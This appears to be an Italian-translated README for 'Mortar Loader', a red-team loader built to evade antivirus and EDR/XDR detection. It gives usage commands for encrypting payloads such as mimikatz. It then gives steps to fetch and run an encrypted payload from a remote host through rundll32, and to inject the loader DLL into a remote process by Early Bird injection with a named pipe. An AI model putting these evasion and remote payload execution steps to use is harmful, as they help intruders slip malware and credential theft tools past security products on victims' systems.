0xsp-srd/mortartecnica di evasione per sconfiggere e deviare il rilevamento e la prevenzione dei prodotti di sicurezza (AV/EDR/XDR)
Tecnica di evasione per red team per sconfiggere e deviare il rilevamento e la prevenzione dei prodotti di sicurezza. Mortar Loader esegue la crittografia e la decrittografia di PE/Shellcode all'interno dei flussi di memoria e lo esegue sfruttando diverse tecniche di iniezione. Mortar è in grado di bypassare moderni prodotti antivirus e soluzioni XDR avanzate ed è stato testato e confermato per il bypass dei seguenti:
La nuova versione (v3) è stata rilasciata con le seguenti funzionalità:
Per una descrizione tecnica più dettagliata, fare riferimento al seguente blogpost: https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html
Il crittografatore crittografa C ShellCode e binari PE e scrive l'output in un file .enc. Puoi utilizzare qualsiasi payload (MSF/cobalt/Havoc..ecc) come preferisci, purché sia architettura x64 e non RAW.
root@kali>./encryptor -f mimikatz.exe -o bin.enc
root@kali>./encryptor -f shellcode.c -o bin.enc
La nuova versione sfrutta diverse tecniche combinate con il recupero remoto del payload; si consiglia di fare riferimento al seguente blogpost per maggiori approfondimenti.
per istruzioni rapide
# PE Forking
1. Ospita il tuo binario crittografato su un host remoto.
2. Codifica l'URL finale con base64.
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].
4. La tecnica di ricarica nascosta è abilitata.
Attualmente supporta l'iniezione Early Bird in combinazione con Named Pipes per ricevere variabili per l'esecuzione finale.
1. Inietta la DLL di Mortar in un processo remoto (iniezione DLL, Hijacking, sideloading).
2. Connettiti al named pipe per fornire il tuo URL
echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs
3. Il payload verrà eseguito una volta ricevuto un valore valido.
Il progetto è stato codificato utilizzando FPC (Free Pascal), le procedure di compilazione sono semplici: scaricare e installare Lazarus IDE (https://www.lazarus-ide.org/index.php?page=downloads).
Per il crittografatore è possibile scaricarlo dalla sezione release o compilarlo facilmente con Lazarus IDE.
#Debian & Ubuntu
apt install fpc
apt install lazarus-ide
Lo sviluppo di Mortar o di qualsiasi progetto condiviso è il risultato del mio tempo personale.